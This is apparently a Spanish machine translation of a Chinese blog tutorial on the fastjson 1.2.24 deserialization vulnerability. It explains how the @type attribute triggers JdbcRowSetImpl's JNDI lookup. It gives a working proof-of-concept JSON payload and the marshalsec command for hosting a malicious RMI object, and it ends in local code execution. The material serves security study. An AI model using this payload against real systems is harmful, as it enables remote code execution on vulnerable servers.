[En el foso de seguridad JAVA] inyección jndi en fastjson

0x01 Prefacio

El capítulo anterior introdujo brevemente el conocimiento de la inyección jndi. Este capítulo analiza principalmente la vulnerabilidad de deserialización de fastjson versión 1.2.24. Esta vulnerabilidad se usa comúnmente para implementar RCE a través de la inyección jndi, por lo que creo que es una Muy buen caso práctico de inyección JNDI.

Funciones de deserialización 0x02 fastjson

A diferencia de la deserialización de Java que mencionamos anteriormente, la serialización de fastjson tiene sus propias características, mostramos cómo usar fastjson a través de algunas pequeñas demostraciones. La serialización de fastjson que solemos decir es convertir objetos java en cadenas json, y la deserialización es convertir cadenas json en objetos java.

  • Demostración de serialización fastjson:
import com.alibaba.fastjson.JSON;

public class Test {
    
    
    public static void main(String[] args){
    
    
        User user = new User();
        user.setName("axin");
        user.setAge(18);

        String json = JSON.toJSONString(user);
        System.out.println(json);
    }
}

La clase de usuario es la siguiente:

public class User {
    
    
    private int age;
    public String name;
    public void sayHello(){
    
    
        System.out.println("Hello, I am "+name);
    }
    public void getName(){
    
    
        System.out.println(name);
    }

    public int getAge() {
    
    
        return age;
    }

    public void setAge(int age) {
    
    
        this.age = age;
    }

    public void setName(String name) {
    
    
        this.name = name;
    }
}

Ejecute la clase de prueba, obtendrá la siguiente cadena json:

Inserte la descripción de la imagen aquí

  • Demostración de deserialización fastjson

Una característica de la deserialización fastjson es que llamará automáticamente al método setXXX del objeto de destino. Por ejemplo, cuando se deserializa {"name", "axin", "age": 18}, los métodos setName y setAge del objeto correspondiente se llaman automáticamente. Practiquemos con el código para ver si este es realmente el caso

Modifique la clase de usuario:

public class User {
    
    
    private int age;
    public String name;
    public void sayHello(){
    
    
        System.out.println("Hello, I am "+name);
    }
    public void getName(){
    
    
        System.out.println(name);
    }

    public int getAge() {
    
    
        return age;
    }

    public void setAge(int age) {
    
    
        this.age = age;
        System.out.println("调用了setAge");
    }

    public void setName(String name) {
    
    
        this.name = name;
        System.out.println("调用了setName");
    }
}

Luego crea una nueva clase deserializada:

import com.alibaba.fastjson.JSON;

public class JsonToObj {
    
    
    public static void main(String[] args){
    
    
        String str = "{\"age\":18,\"name\":\"axin\"}";
        User user = JSON.parseObject(str, User.class);
    }
}

Ejecute esta clase y obtenga los siguientes resultados, lo que indica que el método setXXX de hecho se llama durante el proceso de deserialización:

Inserte la descripción de la imagen aquí

De hecho, la deserialización fastjson tiene dos API, una es el parseObject () usado en la demostración anterior y el otro es el método parse (). La principal diferencia entre ellos es que el primero devuelve JSONObject mientras que el segundo devuelve el Tipos de objetos, cuando no hay una definición de clase correspondiente, generalmente se usa JSON.parseObject para obtener datos.

Y cuando se usa directamente el método JSON.parseObject () para deserializar la cadena json, no se llamará al método setXXX del objeto correspondiente, entonces, ¿cómo puede el objeto que usa directamente JSON.parseObject () deserializar también llamar al método setXXX? , La respuesta es usar el atributo @type para ver la comparación:

Inserte la descripción de la imagen aquí

Se puede ver que el método setXXX del objeto correspondiente se puede llamar agregando el atributo @type. ¿Qué hace exactamente este atributo @type? De hecho, se pueden aprender uno o dos de la demostración anterior, que es especificar que la cadena json debe invertirse. A que clase. Este atributo nos permite explotar vulnerabilidades como un pez en el agua ~

ps: La deserialización Fastjson solo puede deserializar atributos públicos de forma predeterminada. Si desea que se deserialicen los atributos privados correspondientes, debe agregar un parámetro Feature.SupportNonPublicField de la siguiente manera:
JSON.parseObject(myJSON, User.class, Feature.SupportNonPublicField);

0x03 vector de ataque de deserialización-JNDI fastjson

Con el conocimiento anterior presagiando, todos deberían poder pensar en cómo usar la deserialización de fastjson para ejecutar comandos, ¿verdad? Es usar el atributo @type y llamar automáticamente al método setXXX. Si podemos encontrar una clase, y un cierto método setXXX de esta clase ¿Podemos completar la ejecución del comando a través de nuestra estructura cuidadosa?

com.sun.rowset.JdbcRowSetImplEs una clase de este tipo. Hay dos métodos establecidos en esta clase, a saber, setDataSourceName () y setAutoCommit (). Echemos un vistazo a las implementaciones relacionadas:

setDatasourceName

    public void setDataSourceName(String name) throws SQLException {
    
    

        if (name == null) {
    
    
            dataSource = null;
        } else if (name.equals("")) {
    
    
           throw new SQLException("DataSource name cannot be empty string");
        } else {
    
    
           dataSource = name;
        }

        URL = null;
    }

setAutoCommit

    public void setAutoCommit(boolean var1) throws SQLException {
    
    
        if (this.conn != null) {
    
    
            this.conn.setAutoCommit(var1);
        } else {
    
    
            this.conn = this.connect();
            this.conn.setAutoCommit(var1);
        }

    }

El setDataSourceName aquí es para establecer el dataSourceName, y luego realizar la operación de conexión en setAutoCommit, hagamos un seguimiento

    protected Connection connect() throws SQLException {
    
    
        if (this.conn != null) {
    
    
            return this.conn;
        } else if (this.getDataSourceName() != null) {
    
    
            try {
    
    
                InitialContext var1 = new InitialContext();
                DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
                return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
            } catch (NamingException var3) {
    
    
                throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
            }
        } else {
    
    
            return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
        }
    }

Puede ver que hay una llamada típica al método de búsqueda jndi en el método de conexión, y el parámetro es el nombre de origen de datos que configuramos en setDataSourceName.

El código específico no se analizará primero. El proceso de deserialización de fastjson es probablemente analizar primero los datos de json. Personalmente creo que este análisis es un esfuerzo individual. Solo es necesario depurar paso a paso y no es necesario escribirlo. Entonces ahora sabemos que hay un problema con los dos métodos setXXX anteriores, ¿cómo construir un poc? Simplemente haz lo siguiente:

{"@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://127.0.0.1:1099/Evil", "autoCommit":true}}

Se puede ver que el valor de dataSourceName es nuestro objeto rmi malicioso. Antes de que escribiéramos nuestro propio código para registrar el objeto rmi, ahora presentamos una herramienta enhebrada para implementar servicios rmi:

https://github.com/mbechler/marshalsec

Necesita usar la herramienta maven para generar el paquete jar usted mismo. Como se describe en las instrucciones, usamos esta herramienta para construir rápidamente un servidor rmi y registrar el objeto remoto malicioso en él, usando el siguiente comando:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1:8000/#Evil

Entre ellos, nuestro objeto malicioso se coloca en un servicio web local que se ejecuta en el puerto 8000 (podemos construir rápidamente un servidor web con python)

Jugar una calculadora

Inserte la descripción de la imagen aquí

Hierros viejos, ¿crees que hice lo correcto (cabeza de perro manual)

Inserte la descripción de la imagen aquí

Supongo que te gusta

Origin blog.csdn.net/he_and/article/details/105731650
Recomendado
Clasificación